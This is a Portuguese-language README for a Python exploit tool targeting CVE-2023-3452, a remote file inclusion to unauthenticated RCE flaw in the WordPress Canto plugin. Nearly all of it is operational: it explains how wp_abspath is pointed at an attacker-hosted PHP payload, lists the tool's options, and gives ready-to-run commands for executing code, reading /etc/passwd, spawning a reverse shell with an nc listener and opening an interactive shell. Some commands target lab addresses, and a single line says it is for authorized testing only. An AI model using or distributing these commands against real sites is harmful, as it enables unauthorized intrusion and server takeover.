
Exploit CVE-2023-3452 para o plugin Canto do WordPress RCE, suporte HTTPS incluído
Exploit para a vulnerabilidade de RFI no Plugin Canto WordPress (≤ 3.0.4). Funciona de fato em HTTPS — os outros PoCs públicos meio que desistiram do SSL.
Crédito onde é devido: esta CVE foi encontrada por outros. Apenas fiz uma versão que não quebra em alvos HTTPS.
| CVE | CVE-2023-3452 |
| EDB-ID | 51826 |
| Tipo | Remote File Inclusion (RFI) → RCE não autenticado |
| Afetados | Plugin Canto WordPress < 3.0.5 (≤ 3.0.4) |
| Divulgado por | Leopoldo Angulo (leoanggal1) — 27-02-2024 |
| Localização | /wp-content/plugins/canto/includes/lib/download.php |
| Vetor | wp_abspath é usado para incluir arquivos PHP sem nenhuma validação — nós incluímos o nosso remotamente. |
A maioria dos exploits para esta CVE falha em HTTPS por causa da verificação SSL. Este script:
verify=False para que alvos HTTPS funcionem de fatorequestspip install -r requirements.txt
Ou apenas: pip install requests
python3 canto_exploit.py -t <URL_ALVO> -l <LHOST> -p <LPORT> [OPÇÕES]
| Opção | Descrição | Obrigatório |
|---|---|---|
-t, --target | URL do WordPress alvo (HTTP ou HTTPS) | Sim |
-l, --lhost | Seu IP — o alvo precisa alcançá-lo para o payload | Sim |
-p, --lport | Porta do servidor do payload (padrão: 8888) | Não |
-c, --command | Comando a executar no alvo | Não* |
--revshell | Gerar reverse shell | Não |
--shell-port | Porta do listener para o reverse shell (padrão: 4444) | Não |
-i, --interactive | Modo shell interativo | Não |
-v, --verbose | Saída extra | Não |
--skip-check | Pular a verificação de vulnerabilidade | Não |
* Nenhum comando = executa id; whoami; hostname como verificação de sanidade
Comando único:
python3 canto_exploit.py -t https://alvo.com -l 10.10.14.33 -p 8888 -c "id"
Ler um arquivo:
python3 canto_exploit.py -t https://alvo.com -l 10.10.14.33 -p 8888 -c "cat /etc/passwd"
Reverse shell (execute nc -lvnp 4444 primeiro):
python3 canto_exploit.py -t https://alvo.com -l 10.10.14.33 -p 8888 --revshell --shell-port 4444
Modo interativo:
python3 canto_exploit.py -t https://alvo.com -l 10.10.14.33 -p 8888 -i
Alvo CTF HTTPS:
python3 canto_exploit.py -t https://10.129.1.136 -l 10.10.14.33 -p 8888 -c "id"
/wp-content/plugins/canto/readme.txt, analisa a versão (≤ 3.0.4 = vulnerável)wp-admin/admin.php que executa seu comando via system()download.php com wp_abspath=http://LHOST:LPORT para que ele inclua nosso PHP remotoLHOST:LPORT (para HTB/labs, esse é o seu IP VPN)-p)Apenas testes autorizados e educação. Só toque em sistemas que você tem permissão. Qualquer outra coisa é ilegal.
MIT